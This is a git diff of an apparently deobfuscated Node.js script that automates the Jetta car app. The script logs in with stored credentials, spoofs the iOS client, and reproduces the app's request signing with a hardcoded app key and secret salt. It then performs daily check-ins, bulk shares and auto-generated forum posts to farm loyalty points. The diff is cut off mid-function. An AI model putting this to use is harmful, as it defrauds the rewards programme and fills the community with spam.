diff --git a/output.js b/output.js
index 69dda38..81f185a 100644
--- a/output.js
+++ b/output.js
@@ -1,1053 +1,74 @@
-//Tue Apr 15 2025 01:34:55 GMT+0000 (Coordinated Universal Time)
+//Tue Apr 15 2025 05:13:08 GMT+0000 (Coordinated Universal Time)
//Base:https://github.com/echo094/decode-js
//Modify:https://github.com/smallfawn/decode_action
-const $ = new Env("捷达"),
- FormData = require("form-data"),
- envPrefix = "jetta",
- envName = envPrefix + "Cookie",
- configName = envPrefix,
- threadName = envPrefix + "ThreadNum",
- insertBbs = process.env[envPrefix + "InsertBbs"] || "true",
- threadFlag = false,
- proxyFlag = false,
- notifyFlag = false,
- prefixFlag = false,
- timeFlag = false,
- loginFlag = true,
- MAX_THREAD = process.env[threadName] || 10,
- DEFAULT_TIMEOUT = 8000,
- DEFAULT_RETRY = 5;
-let host = "jetta-app.mosc.faw-vw.com",
- imgApi = "https://tu.ltyuanfang.cn/api/fengjing.php",
- contentApi = "https://api.xygeng.cn/one",
- cookie = "",
- cookieArr = [],
- envSplitor = ["\n"];
-cookie = cookie || process.env[envName];
-class UserInfo extends $.BasicClass {
- constructor(_0xce808) {
- super(configInit());
- let {
- userIdx: _0x7ead93,
- userCookie: _0x28f676,
- valid: _0x1c8360
- } = _0xce808;
- this.userIdx = _0x7ead93;
- this.valid = _0x1c8360;
- if (loginFlag) {
- let [_0x7cbaab, _0x323bf6] = _0x28f676.split("&");
- this.phone = _0x7cbaab;
- this.password = _0x323bf6;
- this.taskInit();
- } else this.userCookie = _0x28f676;
- }
- ["taskInit"](_0x31468d = {}) {
- this.userList = _0x31468d.userList || $.userList;
- this.got = this.got.extend({
- "headers": {
- "Authorization": "Bearer " + this.userCookie,
- "app-version": "2.7.4",
- "platform": "ios",
- "User-Agent": "Faw-VM-EBO/2.7.4 (com.fawvw.ebo; build:43; iOS 17.0.0) Alamofire/5.6.4"
- }
- });
- this.getUrl = _0x5b248d => {
- return "https://" + host + (_0x5b248d || _0x31468d.path);
- };
- }
- async ["login"]() {
- try {
- let _0xef09f3 = {
- "fn": "login",
- "method": "post",
- "url": "https://jetta-app.mosc.faw-vw.com/jetta-app/general/inpublic/v1/common/user/login",
- "json": {
- "password": this.password,
- "scope": "openid profile mbb",
- "account": this.phone,
- "deviceName": "iPhone"
- }
- },
- _0x234888 = await this.http(getSignParam(_0xef09f3));
- if (_0x234888.returnStatus == "SUCCEED") {
- {
- let {
- accessToken: _0xe89140
- } = _0x234888.data;
- this.userCookie = _0xe89140;
- }
- } else this.log("用户名或密码错误", {
- "prefix": true,
- "notify": true
- }), this.valid = false;
- } catch (_0x5747d4) {
- console.log(_0x5747d4);
- }
- }
- async ["userInfo"]() {
- try {
- {
- let _0x36c4bb = {
- "fn": "userInfo",
- "method": "get",
- "url": "https://jetta-app.mosc.faw-vw.com/jetta-app/general/public/v1/common/user/get_user_info"
- },
- _0x1d4132 = await this.http(getSignParam(_0x36c4bb));
- if (_0x1d4132.returnStatus == "SUCCEED") {
- let {
- mobile: _0x6fb8c8,
- aid: _0x5b7e19
- } = _0x1d4132.data;
- this.nickName = _0x6fb8c8;
- this.aid = _0x5b7e19;
- } else this.log(_0x1d4132.errorMessage), this.valid = false;
- }
- } catch (_0x1b3394) {
- console.log(_0x1b3394);
- }
- }
- async ["pointInfo"]() {
- try {
- {
- let _0xa008d0 = {
- "fn": "pointInfo",
- "method": "get",
- "url": "https://jetta-app.mosc.faw-vw.com/jetta-app/general/public/v1/common/user/get_score",
- "searchParams": {
- "aId": this.aid,
- "businessId": 1,
- "businessTypeId": 1,
- "scoreTypeId": 2,
- "systemKey": "8816687A99F14B8FA8",
- "tenantId": "Jetta"
- }
- },
- _0x5ba444 = await this.http(getSignParam(_0xa008d0));
- if (_0x5ba444.returnStatus == "SUCCEED") {
- let {
- availablescore: _0xe9e811
- } = _0x5ba444.data[0];
- this.point = _0xe9e811;
- } else this.log(_0x5ba444.errorMessage);
- }
- } catch (_0x2f30ca) {
- console.log(_0x2f30ca);
- }
- }
- async ["jettyValueInfo"]() {
- try {
- {
- let _0x2317e2 = {
- "fn": "jettyValueInfo",
- "method": "get",
- "url": "https://jetta-app.mosc.faw-vw.com/jetta-app/general/public/v1/common/jetta_value/get_profile_statistic_data"
- },
- _0x7d7f4 = await this.http(getSignParam(_0x2317e2));
- if (_0x7d7f4.returnStatus == "SUCCEED") {
- let {
- currentJettaValue: _0x1fe4eb
- } = _0x7d7f4.data;
- this.jettaValue = _0x1fe4eb;
- } else {
- this.log(_0x7d7f4.errorMessage);
- }
- }
- } catch (_0x16b9c1) {
- console.log(_0x16b9c1);
- }
- }
- async ["signInfo"]() {
- try {
- {
- let _0x5c7972 = getSignParam({
- "fn": "signInfo",
- "method": "get",
- "url": "https://mg.jconnect.faw-vw.com/vehicle-market/public/signIn/getSignInStatus",
- "searchParams": {
- "token": "Bearer " + this.userCookie
- }
- }),
- _0x459f68 = await this.http(_0x5c7972);
- if (_0x459f68.status == "SUCCEED") {
- let _0xb44d15 = _0x459f68.data;
- _0xb44d15 ? this.log("今日已签到") : await this.signIn();
- } else this.log(_0x459f68.errorMessage);
- }
- } catch (_0x4cc989) {
- console.log(_0x4cc989);
- }
- }
- async ["signIn"]() {
- try {
- let _0x168aeb = getSignParam({
- "fn": "signIn",
- "method": "get",
- "url": "https://mg.jconnect.faw-vw.com/vehicle-market/public/signIn/signInV2",
- "searchParams": {
- "token": "Bearer " + this.userCookie
- }
- }),
- _0x3ce3ec = await this.http(_0x168aeb);
- if (_0x3ce3ec.status == "SUCCEED") {
- let {
- seriesDay: _0x2140b9
- } = _0x3ce3ec.data;
- this.log("签到成功");
- } else this.log(_0x3ce3ec.errorMessage);
- } catch (_0x31081c) {
- console.log(_0x31081c);
- }
- }
- async ["getTaskList"]() {
- try {
- let _0x3d56eb = {
- "fn": "getTaskList",
- "method": "get",
- "url": "https://jetta-app.mosc.faw-vw.com/jetta-app/general/public/v1/common/jetta_value/get_welfare_home_info"
- },
- _0x3b2886 = await this.http(getSignParam(_0x3d56eb));
- if (_0x3b2886.returnStatus == "SUCCEED") {
- {
- let {
- newTaskConfigList: _0x4a07b7
- } = _0x3b2886.data;
- this.taskList = _0x4a07b7;
- }
- } else {
- this.log(_0x3b2886.errorMessage);
- }
- } catch (_0x4fd0b6) {
- console.log(_0x4fd0b6);
- }
- }
- async ["getArticleList"]() {
- try {
- {
- let _0x2fb669 = {
- "fn": "getArticleList",
- "method": "get",
- "url": "https://jetta-app.mosc.faw-vw.com/jetta-app/general/inpublic/v1/common/question/get_recommendation_questions",
- "searchParams": {
- "pageNum": $.randomNum(1, 5),
- "pageSize": 20,
- "theme": ""
- }
- },
- _0x2749dd = await this.http(getSignParam(_0x2fb669));
- _0x2749dd.returnStatus == "SUCCEED" ? this.articleList = _0x2749dd.data : this.log(_0x2749dd.errorMessage);
- }
- } catch (_0x131560) {
- console.log(_0x131560);
- }
- }
- async ["doShare"](_0x4485db) {
- try {
- {
- let {
- bbsId: _0xa3321,
- bbsSubject: _0x2c59f6,
- summary: _0x352d12
- } = _0x4485db,
- _0x275d1a = {
- "fn": "doShare",
- "method": "post",
- "url": "https://mg.jconnect.faw-vw.com/jbrand-api-community/public/user/forward/bbsForward",
- "searchParams": {
- "token": "Bearer " + this.userCookie
- },
- "form": {
- "bbsId": _0xa3321
- }
- },
- _0x198b09 = await this.http(getSignParam(_0x275d1a));
- if (_0x198b09.status == "SUCCEED") {
- {
- let {
- status: _0x35e65d,
- msg: _0x392200
- } = _0x198b09.data;
- _0x35e65d == "SUCCEED" ? this.log("分享[" + (_0x2c59f6 || _0x352d12?.["substring"](0, 5)) + "]成功") : this.log(_0x392200);
- return _0x392200;
- }
- } else this.log(_0x198b09.errorMessage);
- }
- } catch (_0x211449) {
- console.log(_0x211449);
- }
- }
- async ["getImage"]() {
- try {
- let _0x334668 = {
- "fn": "getImage",
- "method": "get",
- "url": imgApi
- },
- {
- headers: _0x371b79
- } = await this.request(_0x334668);
- if (_0x371b79.location) {
- {
- let {
- headers: _0x3a719a,
- body: _0x4b4f6a
- } = await this.request({
- "url": _0x371b79.location
- }),
- _0x424185 = new FormData();
- _0x424185.append("name", "files");
- _0x424185.append("filename", "img.jpg");
- _0x424185.append("Content-Type", _0x3a719a["content-type"]);
- _0x424185.append("value", _0x4b4f6a);
- this.imgData = _0x424185;
- this.imgUrl = _0x371b79.location;
- }
- }
- } catch (_0xd91dfd) {
- console.log(_0xd91dfd);
- }
- }
- async ["insertImages"]() {
- try {
- {
- let _0x5d70a7 = {
- "fn": "insertImages",
- "method": "put",
- "url": "https://mg.jconnect.faw-vw.com/jbrand-api-community/public/user/bbs/insertBbsImagesByUser",
- "headers": {
- "Content-Type": "multipart/form-data; boundary=alamofire.boundary.aaeba700f2d68612"
- },
- "searchParams": {
- "token": "Bearer " + this.userCookie
- },
- "body": this.imgData
- },
- _0x18f467 = await this.http(getSignParam(_0x5d70a7));
- console.log("insertImages / res:", _0x18f467);
- _0x18f467.status == "SUCCEED" ? this.imgUrl = _0x18f467.data[0] : this.log(_0x18f467.errorMessage);
- }
- } catch (_0x58182e) {
- console.log(_0x58182e);
- }
- }
- async ["getContent"]() {
- try {
- {
- let _0x285873 = {
- "fn": "getContent",
- "method": "get",
- "url": contentApi
- },
- _0x416304 = await this.http(_0x285873);
- if (_0x416304.code == 200) {
- let {
- tag: _0x21000a,
- origin: _0x8aa691,
- content: _0x444bb3
- } = _0x416304.data;
- this.bbsTitle = "" + (_0x21000a + _0x8aa691);
- this.bbsContent = _0x444bb3;
- if (this.bbsTitle?.["length"] < 5) {
- $.title += $.time("MM-dd HH:mm");
- }
- }
- }
- } catch (_0x1bb3ab) {
- console.log(_0x1bb3ab);
- }
- }
- async ["insertBbs"]() {
- try {
- await this.getImage();
- await this.getContent();
- let _0x28f26f = {
- "fn": "insertBbs",
- "method": "post",
- "url": "https://mg.jconnect.faw-vw.com/jbrand-api-community/public/user/bbs/insertBbsByUser",
- "headers": {
- "Content-Type": "application/x-www-form-urlencoded; charset=utf-8"
- },
- "searchParams": {
- "token": "Bearer " + this.userCookie
- },
- "body": $.queryStr({
- "bbsContent": encodeURIComponent(this.bbsContent),
- "bbsSubject": encodeURIComponent(this.bbsTitle),
- "bbsType": 1,
- "contentUrlList": encodeURIComponent(this.imgUrl),
- "coverUrlDisHeight": 1820,
- "coverUrlDisWidth": 1024,
- "coverUrlList": encodeURIComponent(this.imgUrl),
- "resolution": 0.56,
- "summary": encodeURIComponent(this.bbsContent)
- })
- },
- _0x5d26ab = await this.http(getSignParam(_0x28f26f));
- if (_0x5d26ab.status == "SUCCEED") {
- {
- let {
- status: _0x5dbb4a,
- msg: _0x1e70c0
- } = _0x5d26ab.data?.["scoreReturnOutDTO"];
- _0x5dbb4a == "SUCCEED" ? this.log("发帖[" + this.bbsContent?.["substring"](0, 5) + "]成功") : this.log(_0x1e70c0);
- }
- } else this.log(_0x5d26ab.errorMessage);
- } catch (_0x5442dd) {
- console.log(_0x5442dd);
- }
- }
- async ["insertBbsTask"]() {
- try {
- await this.insertBbs();
- } catch (_0x12ecc5) {
- console.log(_0x12ecc5);
- }
- }
- async ["dailyTask"]() {
- try {
- {
- await this.signInfo();
- await this.randomWait(3, 5);
- await this.getTaskList();
- for (let _0xc75cef of this.taskList) {
- let {
- businessName: _0x57b8f0,
- isDone: _0x4f078d
- } = _0xc75cef;
- if (_0x4f078d) continue;
- switch (_0x57b8f0) {
- case "转发/分享":
- this.articleList?.["length"] ? "" : await this.getArticleList();
- let _0x4a36bb = $.randomNum(0, this.articleList?.["length"] - 3),
- _0x2bbc7b = await this.doShare(this.articleList[_0x4a36bb++]);
- if (_0x2bbc7b?.["includes"]("转发数量超出")) break;
- await this.randomWait(3, 5);
- await this.doShare(this.articleList[_0x4a36bb++]);
- await this.randomWait(3, 5);
- await this.doShare(this.articleList[_0x4a36bb++]);
- await this.randomWait(3, 5);
- break;
- case "发帖":
- insertBbs == "true" ? await this.insertBbsTask() : "";
- break;
- }
- }
- }
- } catch (_0x12abf1) {
- console.log(_0x12abf1);
- }
- }
- async ["userTask"](_0x276ed7) {
- try {
- this.taskInit(_0x276ed7);
- await this.userInfo();
- if (!this.valid) {
- {
- this.log("cookie疑似失效", {
- "notify": true,
- "prefix": true
- });
- return;
- }
- }
- this.log("\n******* 【账号" + this.userIdx + "】" + (this.nickName || "") + " ******* ", {
- "console": !threadFlag,
- "prefixless": true,
- "timeless": true,
- "notify": !threadFlag
- });
- await this.dailyTask();
- await this.pointInfo();
- await this.jettyValueInfo();
- this.point ? this.log("捷出值: " + this.jettaValue + ", 积分: " + this.point, {
- "notify": true
- }) : "";
- } catch (_0xe1afce) {
- console.log(_0xe1afce);
- }
- }
-}
-!(async () => {
- $.envSplitor = envSplitor;
- const _0x5380c6 = {
- "Class": UserInfo
- };
- await $.readEnv(configInit(_0x5380c6));
- loginFlag && (await $.threadTask("login"), $.userList = $.userList.filter(({
- valid: _0x2e45da
- }) => _0x2e45da));
- threadFlag ? await threadTask() : await userTask();
-})().catch(_0x9e8d68 => {
- $.logErr(_0x9e8d68);
-}).finally(() => {
- $.done();
-});
-async function userTask() {
- try {
- for (let _0x4da3fc of $.userList) {
- await _0x4da3fc.userTask();
- }
- } catch (_0x22becd) {
- console.log(_0x22becd);
- }
-}
-async function threadTask() {
- try {
- await $.threadTask("userTask");
- } catch (_0x182b3d) {
- console.log(_0x182b3d);
- }
-}
-function configInit(_0x4ad641 = {}) {
- let _0x10051b = {
- "cookie": cookie,
- "cookieArr": cookieArr,
- "envName": envName,
- "configName": configName,
- "notifyFlag": notifyFlag,
- "threadFlag": threadFlag,
- "proxyFlag": proxyFlag,
- "prefixFlag": prefixFlag,
- "timeFlag": timeFlag,
- "DEFAULT_TIMEOUT": DEFAULT_TIMEOUT,
- "DEFAULT_RETRY": DEFAULT_RETRY,
- "MAX_THREAD": MAX_THREAD
- };
- return Object.assign(_0x10051b, _0x4ad641);
-}
-function getSignParam(_0x23e625 = {}) {
- let _0x5a5470 = "5933615834",
- _0x224207 = Date.now(),
- _0x281411 = $.randomString(32),
- _0x5bf32c = 0,
- _0x26d47c = 8,
- _0x50e49a = _0x23e625.url.split(".com")[1],
- _0x22277f = {
- ..._0x23e625.searchParams,
- "appkey": _0x5a5470,
- "signTimestamp": _0x224207,
- "timestamp": _0x224207,
- "nonce": _0x281411
- };
- _0x23e625.url?.["includes"]("mg.jconnect") && (_0x22277f = {
- ..._0x23e625.searchParams,
- "appkey": _0x5a5470,
- "nonce": _0x281411,
- "signt": _0x224207
+function generateUUID() {
+ return "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g, function (_0x284b11) {
+ const _0x4cf9cc = Math.random() * 16 | 0,
+ _0x1f909c = _0x284b11 === "x" ? _0x4cf9cc : _0x4cf9cc & 3 | 8;
+ return _0x1f909c.toString(16);
});
- let _0x9f93f6 = _0x8975d(_0x50e49a, _0x2a18d5(_0x22277f));
- _0x22277f.digitalSign = _0x9f93f6;
- _0x23e625.url?.["includes"]("mg.jconnect") && (delete _0x22277f.digitalSign, _0x22277f.sign = _0x9f93f6);
- _0x23e625.searchParams = {
- ..._0x23e625.searchParams,
- ..._0x22277f
- };
- return _0x23e625;
- function _0x8975d(_0x42baf3, _0x5d7dd4) {
- var _0x42a01d,
- _0x4f6a52 = _0x42baf3.replace("one-app/", "").replace("test/", "").replace(/^\//, "");
- _0x5d7dd4.sort();
- var _0x44e7ab = _0x5d7dd4.join("_"),
- _0x2b01b3 = "".concat(_0x4f6a52, "_").concat(_0x44e7ab, "_").concat("a965e8abce4098f033d33fb2fb0a81e5"),
- _0x4d512b = encodeURIComponent(_0x2b01b3);
- _0x42a01d = _0x5b4d7b(_0x4d512b);
- return _0x42a01d;
- }
- function _0x5b4d7b(_0x9759ab) {
- return _0x9f59ac(_0x17be36(_0x2d4f14(_0x9759ab), _0x9759ab.length * _0x26d47c));
- }
- function _0x2a18d5(_0x4ce6f8) {
- {
- var _0x668cbd = [];
- for (var _0x286234 in _0x4ce6f8) null != _0x4ce6f8[_0x286234] && _0x668cbd.push("".concat(_0x286234, "=").concat(_0x4ce6f8[_0x286234]));
- return _0x668cbd;
- }
- }
- function _0x17be36(_0x559e19, _0x1c0928) {
- {
- _0x559e19[_0x1c0928 >> 5] |= 128 << _0x1c0928 % 32;
- _0x559e19[14 + (_0x1c0928 + 64 >>> 9 << 4)] = _0x1c0928;
- for (var _0x41d3ef = 1732584193, _0x855f9c = -271733879, _0x3fae68 = -1732584194, _0x146c3e = 271733878, _0x37883a = 0; _0x37883a < _0x559e19.length; _0x37883a += 16) {
- var _0x4012eb = _0x41d3ef,
- _0x3dc200 = _0x855f9c,
- _0x35fc3e = _0x3fae68,
- _0x23acb3 = _0x146c3e;
- _0x41d3ef = _0xcf3e0a(_0x41d3ef, _0x855f9c, _0x3fae68, _0x146c3e, _0x559e19[_0x37883a + 0], 7, -680876936);
- _0x146c3e = _0xcf3e0a(_0x146c3e, _0x41d3ef, _0x855f9c, _0x3fae68, _0x559e19[_0x37883a + 1], 12, -389564586);
- _0x3fae68 = _0xcf3e0a(_0x3fae68, _0x146c3e, _0x41d3ef, _0x855f9c, _0x559e19[_0x37883a + 2], 17, 606105819);
- _0x855f9c = _0xcf3e0a(_0x855f9c, _0x3fae68, _0x146c3e, _0x41d3ef, _0x559e19[_0x37883a + 3], 22, -1044525330);
- _0x41d3ef = _0xcf3e0a(_0x41d3ef, _0x855f9c, _0x3fae68, _0x146c3e, _0x559e19[_0x37883a + 4], 7, -176418897);
- _0x146c3e = _0xcf3e0a(_0x146c3e, _0x41d3ef, _0x855f9c, _0x3fae68, _0x559e19[_0x37883a + 5], 12, 1200080426);
- _0x3fae68 = _0xcf3e0a(_0x3fae68, _0x146c3e, _0x41d3ef, _0x855f9c, _0x559e19[_0x37883a + 6], 17, -1473231341);
- _0x855f9c = _0xcf3e0a(_0x855f9c, _0x3fae68, _0x146c3e, _0x41d3ef, _0x559e19[_0x37883a + 7], 22, -45705983);
- _0x41d3ef = _0xcf3e0a(_0x41d3ef, _0x855f9c, _0x3fae68, _0x146c3e, _0x559e19[_0x37883a + 8], 7, 1770035416);
- _0x146c3e = _0xcf3e0a(_0x146c3e, _0x41d3ef, _0x855f9c, _0x3fae68, _0x559e19[_0x37883a + 9], 12, -1958414417);
- _0x3fae68 = _0xcf3e0a(_0x3fae68, _0x146c3e, _0x41d3ef, _0x855f9c, _0x559e19[_0x37883a + 10], 17, -42063);
- _0x855f9c = _0xcf3e0a(_0x855f9c, _0x3fae68, _0x146c3e, _0x41d3ef, _0x559e19[_0x37883a + 11], 22, -1990404162);
- _0x41d3ef = _0xcf3e0a(_0x41d3ef, _0x855f9c, _0x3fae68, _0x146c3e, _0x559e19[_0x37883a + 12], 7, 1804603682);
- _0x146c3e = _0xcf3e0a(_0x146c3e, _0x41d3ef, _0x855f9c, _0x3fae68, _0x559e19[_0x37883a + 13], 12, -40341101);
- _0x3fae68 = _0xcf3e0a(_0x3fae68, _0x146c3e, _0x41d3ef, _0x855f9c, _0x559e19[_0x37883a + 14], 17, -1502002290);
- _0x855f9c = _0xcf3e0a(_0x855f9c, _0x3fae68, _0x146c3e, _0x41d3ef, _0x559e19[_0x37883a + 15], 22, 1236535329);
- _0x41d3ef = _0xc45b5(_0x41d3ef, _0x855f9c, _0x3fae68, _0x146c3e, _0x559e19[_0x37883a + 1], 5, -165796510);
- _0x146c3e = _0xc45b5(_0x146c3e, _0x41d3ef, _0x855f9c, _0x3fae68, _0x559e19[_0x37883a + 6], 9, -1069501632);
- _0x3fae68 = _0xc45b5(_0x3fae68, _0x146c3e, _0x41d3ef, _0x855f9c, _0x559e19[_0x37883a + 11], 14, 643717713);
- _0x855f9c = _0xc45b5(_0x855f9c, _0x3fae68, _0x146c3e, _0x41d3ef, _0x559e19[_0x37883a + 0], 20, -373897302);
- _0x41d3ef = _0xc45b5(_0x41d3ef, _0x855f9c, _0x3fae68, _0x146c3e, _0x559e19[_0x37883a + 5], 5, -701558691);
- _0x146c3e = _0xc45b5(_0x146c3e, _0x41d3ef, _0x855f9c, _0x3fae68, _0x559e19[_0x37883a + 10], 9, 38016083);
- _0x3fae68 = _0xc45b5(_0x3fae68, _0x146c3e, _0x41d3ef, _0x855f9c, _0x559e19[_0x37883a + 15], 14, -660478335);
- _0x855f9c = _0xc45b5(_0x855f9c, _0x3fae68, _0x146c3e, _0x41d3ef, _0x559e19[_0x37883a + 4], 20, -405537848);
- _0x41d3ef = _0xc45b5(_0x41d3ef, _0x855f9c, _0x3fae68, _0x146c3e, _0x559e19[_0x37883a + 9], 5, 568446438);
- _0x146c3e = _0xc45b5(_0x146c3e, _0x41d3ef, _0x855f9c, _0x3fae68, _0x559e19[_0x37883a + 14], 9, -1019803690);
- _0x3fae68 = _0xc45b5(_0x3fae68, _0x146c3e, _0x41d3ef, _0x855f9c, _0x559e19[_0x37883a + 3], 14, -187363961);
- _0x855f9c = _0xc45b5(_0x855f9c, _0x3fae68, _0x146c3e, _0x41d3ef, _0x559e19[_0x37883a + 8], 20, 1163531501);
- _0x41d3ef = _0xc45b5(_0x41d3ef, _0x855f9c, _0x3fae68, _0x146c3e, _0x559e19[_0x37883a + 13], 5, -1444681467);
- _0x146c3e = _0xc45b5(_0x146c3e, _0x41d3ef, _0x855f9c, _0x3fae68, _0x559e19[_0x37883a + 2], 9, -51403784);
- _0x3fae68 = _0xc45b5(_0x3fae68, _0x146c3e, _0x41d3ef, _0x855f9c, _0x559e19[_0x37883a + 7], 14, 1735328473);
- _0x855f9c = _0xc45b5(_0x855f9c, _0x3fae68, _0x146c3e, _0x41d3ef, _0x559e19[_0x37883a + 12], 20, -1926607734);
- _0x41d3ef = _0x3ef8a3(_0x41d3ef, _0x855f9c, _0x3fae68, _0x146c3e, _0x559e19[_0x37883a + 5], 4, -378558);
- _0x146c3e = _0x3ef8a3(_0x146c3e, _0x41d3ef, _0x855f9c, _0x3fae68, _0x559e19[_0x37883a + 8], 11, -2022574463);
- _0x3fae68 = _0x3ef8a3(_0x3fae68, _0x146c3e, _0x41d3ef, _0x855f9c, _0x559e19[_0x37883a + 11], 16, 1839030562);
- _0x855f9c = _0x3ef8a3(_0x855f9c, _0x3fae68, _0x146c3e, _0x41d3ef, _0x559e19[_0x37883a + 14], 23, -35309556);
- _0x41d3ef = _0x3ef8a3(_0x41d3ef, _0x855f9c, _0x3fae68, _0x146c3e, _0x559e19[_0x37883a + 1], 4, -1530992060);
- _0x146c3e = _0x3ef8a3(_0x146c3e, _0x41d3ef, _0x855f9c, _0x3fae68, _0x559e19[_0x37883a + 4], 11, 1272893353);
- _0x3fae68 = _0x3ef8a3(_0x3fae68, _0x146c3e, _0x41d3ef, _0x855f9c, _0x559e19[_0x37883a + 7], 16, -155497632);
- _0x855f9c = _0x3ef8a3(_0x855f9c, _0x3fae68, _0x146c3e, _0x41d3ef, _0x559e19[_0x37883a + 10], 23, -1094730640);
- _0x41d3ef = _0x3ef8a3(_0x41d3ef, _0x855f9c, _0x3fae68, _0x146c3e, _0x559e19[_0x37883a + 13], 4, 681279174);
- _0x146c3e = _0x3ef8a3(_0x146c3e, _0x41d3ef, _0x855f9c, _0x3fae68, _0x559e19[_0x37883a + 0], 11, -358537222);
- _0x3fae68 = _0x3ef8a3(_0x3fae68, _0x146c3e, _0x41d3ef, _0x855f9c, _0x559e19[_0x37883a + 3], 16, -722521979);
- _0x855f9c = _0x3ef8a3(_0x855f9c, _0x3fae68, _0x146c3e, _0x41d3ef, _0x559e19[_0x37883a + 6], 23, 76029189);
- _0x41d3ef = _0x3ef8a3(_0x41d3ef, _0x855f9c, _0x3fae68, _0x146c3e, _0x559e19[_0x37883a + 9], 4, -640364487);
- _0x146c3e = _0x3ef8a3(_0x146c3e, _0x41d3ef, _0x855f9c, _0x3fae68, _0x559e19[_0x37883a + 12], 11, -421815835);
- _0x3fae68 = _0x3ef8a3(_0x3fae68, _0x146c3e, _0x41d3ef, _0x855f9c, _0x559e19[_0x37883a + 15], 16, 530742520);
- _0x855f9c = _0x3ef8a3(_0x855f9c, _0x3fae68, _0x146c3e, _0x41d3ef, _0x559e19[_0x37883a + 2], 23, -995338651);
- _0x41d3ef = _0x228889(_0x41d3ef, _0x855f9c, _0x3fae68, _0x146c3e, _0x559e19[_0x37883a + 0], 6, -198630844);
- _0x146c3e = _0x228889(_0x146c3e, _0x41d3ef, _0x855f9c, _0x3fae68, _0x559e19[_0x37883a + 7], 10, 1126891415);
- _0x3fae68 = _0x228889(_0x3fae68, _0x146c3e, _0x41d3ef, _0x855f9c, _0x559e19[_0x37883a + 14], 15, -1416354905);
- _0x855f9c = _0x228889(_0x855f9c, _0x3fae68, _0x146c3e, _0x41d3ef, _0x559e19[_0x37883a + 5], 21, -57434055);
- _0x41d3ef = _0x228889(_0x41d3ef, _0x855f9c, _0x3fae68, _0x146c3e, _0x559e19[_0x37883a + 12], 6, 1700485571);
- _0x146c3e = _0x228889(_0x146c3e, _0x41d3ef, _0x855f9c, _0x3fae68, _0x559e19[_0x37883a + 3], 10, -1894986606);
- _0x3fae68 = _0x228889(_0x3fae68, _0x146c3e, _0x41d3ef, _0x855f9c, _0x559e19[_0x37883a + 10], 15, -1051523);
- _0x855f9c = _0x228889(_0x855f9c, _0x3fae68, _0x146c3e, _0x41d3ef, _0x559e19[_0x37883a + 1], 21, -2054922799);
- _0x41d3ef = _0x228889(_0x41d3ef, _0x855f9c, _0x3fae68, _0x146c3e, _0x559e19[_0x37883a + 8], 6, 1873313359);
- _0x146c3e = _0x228889(_0x146c3e, _0x41d3ef, _0x855f9c, _0x3fae68, _0x559e19[_0x37883a + 15], 10, -30611744);
- _0x3fae68 = _0x228889(_0x3fae68, _0x146c3e, _0x41d3ef, _0x855f9c, _0x559e19[_0x37883a + 6], 15, -1560198380);
- _0x855f9c = _0x228889(_0x855f9c, _0x3fae68, _0x146c3e, _0x41d3ef, _0x559e19[_0x37883a + 13], 21, 1309151649);
- _0x41d3ef = _0x228889(_0x41d3ef, _0x855f9c, _0x3fae68, _0x146c3e, _0x559e19[_0x37883a + 4], 6, -145523070);
- _0x146c3e = _0x228889(_0x146c3e, _0x41d3ef, _0x855f9c, _0x3fae68, _0x559e19[_0x37883a + 11], 10, -1120210379);
- _0x3fae68 = _0x228889(_0x3fae68, _0x146c3e, _0x41d3ef, _0x855f9c, _0x559e19[_0x37883a + 2], 15, 718787259);
- _0x855f9c = _0x228889(_0x855f9c, _0x3fae68, _0x146c3e, _0x41d3ef, _0x559e19[_0x37883a + 9], 21, -343485551);
- _0x41d3ef = _0x4f5682(_0x41d3ef, _0x4012eb);
- _0x855f9c = _0x4f5682(_0x855f9c, _0x3dc200);
- _0x3fae68 = _0x4f5682(_0x3fae68, _0x35fc3e);
- _0x146c3e = _0x4f5682(_0x146c3e, _0x23acb3);
- }
- return Array(_0x41d3ef, _0x855f9c, _0x3fae68, _0x146c3e);
- }
- }
- function _0x3baa2d(_0x4120a8, _0x3f5fff, _0x3eb8a2, _0x23b9e9, _0x1983da, _0x2e3020) {
- return _0x4f5682(_0x4f5215(_0x4f5682(_0x4f5682(_0x3f5fff, _0x4120a8), _0x4f5682(_0x23b9e9, _0x2e3020)), _0x1983da), _0x3eb8a2);
- }
- function _0xcf3e0a(_0x22c251, _0x210f8c, _0x16cbca, _0x5b8c0f, _0x4dc2f1, _0x5add9d, _0x15ed7f) {
- return _0x3baa2d(_0x210f8c & _0x16cbca | ~_0x210f8c & _0x5b8c0f, _0x22c251, _0x210f8c, _0x4dc2f1, _0x5add9d, _0x15ed7f);
- }
- function _0xc45b5(_0x1e3144, _0x294423, _0x1ff502, _0x204f0e, _0x18226c, _0x26a4dc, _0x36a9eb) {
- return _0x3baa2d(_0x294423 & _0x204f0e | _0x1ff502 & ~_0x204f0e, _0x1e3144, _0x294423, _0x18226c, _0x26a4dc, _0x36a9eb);
- }
- function _0x3ef8a3(_0x22fd62, _0x2e03ae, _0x58e582, _0x5f1e02, _0x1c42d9, _0x1f7b02, _0x58b420) {
- return _0x3baa2d(_0x2e03ae ^ _0x58e582 ^ _0x5f1e02, _0x22fd62, _0x2e03ae, _0x1c42d9, _0x1f7b02, _0x58b420);
- }
- function _0x228889(_0x273684, _0x1d2dc9, _0x332759, _0x332721, _0x59b3ef, _0x32db69, _0x1dd535) {
- return _0x3baa2d(_0x332759 ^ (_0x1d2dc9 | ~_0x332721), _0x273684, _0x1d2dc9, _0x59b3ef, _0x32db69, _0x1dd535);
- }
- function _0x4f5682(_0x4f37c4, _0x5bb079) {
- {
- var _0x46b927 = (65535 & _0x4f37c4) + (65535 & _0x5bb079),
- _0x2c732e = (_0x4f37c4 >> 16) + (_0x5bb079 >> 16) + (_0x46b927 >> 16);
- return _0x2c732e << 16 | 65535 & _0x46b927;
- }
- }
- function _0x4f5215(_0x4794b5, _0x15173a) {
- return _0x4794b5 << _0x15173a | _0x4794b5 >>> 32 - _0x15173a;
- }
- function _0x2d4f14(_0x499b14) {
- {
- for (var _0xf1cb38 = Array(), _0x21e81b = (1 << _0x26d47c) - 1, _0x56a302 = 0; _0x56a302 < _0x499b14.length * _0x26d47c; _0x56a302 += _0x26d47c) _0xf1cb38[_0x56a302 >> 5] |= (_0x499b14.charCodeAt(_0x56a302 / _0x26d47c) & _0x21e81b) << _0x56a302 % 32;
- return _0xf1cb38;
- }
- }
- function _0x9f59ac(_0xb409c5) {
- {
